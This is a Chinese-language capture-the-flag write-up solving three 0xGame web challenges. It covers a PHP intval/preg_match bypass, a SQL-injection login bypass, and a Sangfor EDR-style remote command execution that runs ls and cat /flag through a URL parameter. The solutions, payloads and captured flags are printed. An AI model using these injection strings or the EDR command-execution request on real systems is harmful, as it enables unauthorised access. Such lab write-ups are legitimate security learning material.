Skip to content

0xGame 第二周-Web

WriteUp by Casio

1. intval

  • 1st

    数组绕过没成功

    查询相关绕过,了解到 preg_match 缺陷

    而在非多行模式下,$似乎会忽略在句尾的%0a

    故传入?0xGame=20201001%0a

    测试一下:

    1
    http://web.game.0xctf.com:30102/?0xGame=20201001%0a&id=1024
    

    得到 Good job! 信号( •̀ ω •́ )y

  • 2nd

    学习 intval 函数相关,由题

    1
    2
    3
    $id=intval($_GET['id']);
    if($_GET['id'] != 1024 && $id === 1024)
    echo 'Congratulations!'.'<br>'.$flag; 
    

    使得 $_GET['id'] 在类型转换后与 1024 不等,$id 为 1024 整数

    解题过程中发现不需要进制上的转换,直接 1024.123 跟个小数就可

  • ==>>0xGame{947eae96fe415cbc6eab173adee5d14f}

  • 附图:image-20201019173025990

2. just_login

开始不太清楚,搜了万能密码就 POST 上去了。

Hackbar 看了看是 post 请求,然后编辑并重发:

1
username=1&password=1'or'1'or'1

查看响应:

1
Login Success!Here is your flag:0xGame{e5sy_sql_1njeCtion}

==>>0xGame{e5sy_sql_1njeCtion}

后面尝试发现有 admin 账户可以用,懂了让我干啥,

直接登录界面用户名填admin'and 1=1 #

使得sql构造出类似:(密码随意)

1
 select * from admin where username='admin'and 1=1 #' and password='123456' 
该语句等价为:

1
2
3
```
select * from admin where username='admin'and 1=1
```

附图:image-20201019173252475

3. edr

由题下载 index.php.bak 并查看,

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
    /**
     * 编解码
     * @param string $data 编解码数据
     * @return string 返回编解码数据
     */
    $code = function($data) {
        for ($i = 0; $i < strlen($data); ++$i) {
            $data[$i] = $data[$i] ^ 'G';
        }
        return $data;
    };
<!--此处对传入参数按位异或'G'加密 -->
    /**
     * 加密请求
     * @param string $site  站点
     * @param string $query 请求串
     * @return string 返回请求URL
     */
    $request = function($site, $query) use(&$code) {
        $path = base64_encode($code($query));
        return "$site/$path";
    };
<!--搜索:php匿名函数中use从父作用域继承变量;&$为引用-->
<!--按我的理解是调用上面的加密办法,query实现站点路径-->
    /**
     * 解密回复
     * @param string $data 回复数据
     * @return array 返回回复数据
     */
    $response = function($data) use(&$code) {
        $ret = json_decode($data, true);
        if (is_null($ret)) {
            $dec = $code(base64_decode($data));
            $ret = json_decode($dec, true);
        }
        return $ret;
    };
搜索发现题指 深信服EDR ,学习网络资源执行 system 命令查看目录

1
?strip_slashes=system&host=ls

image-20201019211254070

RCE 成功,推测 flag 放在根目录下

1
?strip_slashes=system&host=ls /

获得如下:

1
bin boot dev etc flag home lib lib64 media mnt opt proc root run sbin srv sys tmp usr var

所以用 cat 命令直接去读取 flag

1
?strip_slashes=system&host=cat /flag

==>>0xGame{S4n9f0r_3dR_c4N_Rce_reC3n7_D4y}

附图:image-20201019211557390

Tip

这样看来。。。读到的 bak 文件没有发挥太大作用,直接在网上找到深信服 edr 漏洞相关文章,然后知道是考 RCE, 再了解几个文件管理的 linux 命令,之前又做到了 flag 放在根目录下的题,如此一试就出来了(●ˇ∀ˇ●)

Back to top